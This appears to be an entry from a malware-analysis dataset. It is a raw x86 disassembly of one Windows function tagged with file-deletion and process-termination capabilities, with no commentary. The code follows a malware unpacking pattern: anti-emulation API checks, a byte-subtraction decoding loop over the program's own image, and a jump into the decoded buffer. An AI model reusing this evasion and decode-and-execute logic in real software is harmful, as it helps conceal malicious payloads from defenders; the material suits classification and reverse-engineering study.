Function at 0x401440
Capabilities:
Delete file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x48], 0x40
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x14], 0x18300
mov eax, dword [ebp + 0x14]
shr eax, 2
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x30], 0x101000
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x38], 0
fld qword [0x42a058]
sub esp, 8
fstp qword [esp]
call fcn.00401790
fstp st(0)
add esp, 8
mov dword [ebp - 4], 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x4015f1
mov dword [ebp - 0x5c], 0x1000
mov dword [ebp - 0x60], 0
jmp 0x40151e
mov ecx, dword [ebp - 0x60]
add ecx, 1
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp + 0x14]
shr edx, 2
cmp dword [ebp - 0x60], edx
jae 0x401582
push 4
mov eax, dword [ebp - 0x5c]
push eax
push 0x142
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x60]
mov edx, dword [ebp + 0x10]
mov dword [edx + ecx*4], eax
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp + 0x10]
cmp dword [ecx + eax*4], 0
je 0x401580
mov dword [ebp - 0x64], 0
jmp 0x401563
mov edx, dword [ebp - 0x64]
add edx, 1
mov dword [ebp - 0x64], edx
cmp dword [ebp - 0x64], 0x1a3
jae 0x401580
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx + eax*4]
mov eax, dword [ebp - 0x64]
mov cl, byte [ebp - 0x64]
mov byte [edx + eax], cl
jmp 0x40155a
jmp 0x401515
mov edx, dword [ebp - 0x48]
push edx
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [ebp - 0x14], 0
je 0x40159e
mov ebx, eax
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4015ef
mov dword [ebp - 0x68], 0
jmp 0x4015bc
mov edx, dword [ebp - 0x68]
add edx, 1
mov dword [ebp - 0x68], edx
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x34]
jae 0x4015ec
mov dword [ebp - 8], 0x1e60
push 0x8000
push 0
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp + 0x10]
mov eax, dword [edx + ecx*4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x4015b3
mov dword [ebp - 0x20], ebx
jmp 0x4015f9
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0x400000
push 0
call dword [sym.imp.KERNEL32.dll_LocalLock]
lea ecx, [ebp + 0xc]
push ecx
push 0
call fcn.004016f0
add esp, 8
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x3c], 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 0x3c], 0x8a9c3
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x3c]
mov dword [ebp - 0x18], edx
push dword [ebp - 8]
mov dword [ebp - 0x40], 0x3000
pop dword [ebp - 8]
mov dword [ebp - 0x6c], 0
jmp 0x40165f
mov eax, dword [ebp - 0x6c]
add eax, 1
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x6c]
cmp ecx, dword [ebp - 8]
jae 0x40167d
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x6c]
movzx eax, byte [edx]
sub eax, 0x53
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x6c]
mov byte [ecx], al
jmp 0x401656
mov dword [ebp - 8], 0xffee
push dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x44], edx
mov ebx, dword [ebp - 0x44]
mov eax, 0x425ba0
test eax, eax
jne 0x4016a1
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call ebx
push 0
push 0
call fcn.00401817
add esp, 8
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x4012d0
push 0
call dword [sym.imp.USER32.dll_LoadBitmapA]
movsx ecx, byte [0x409140]
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10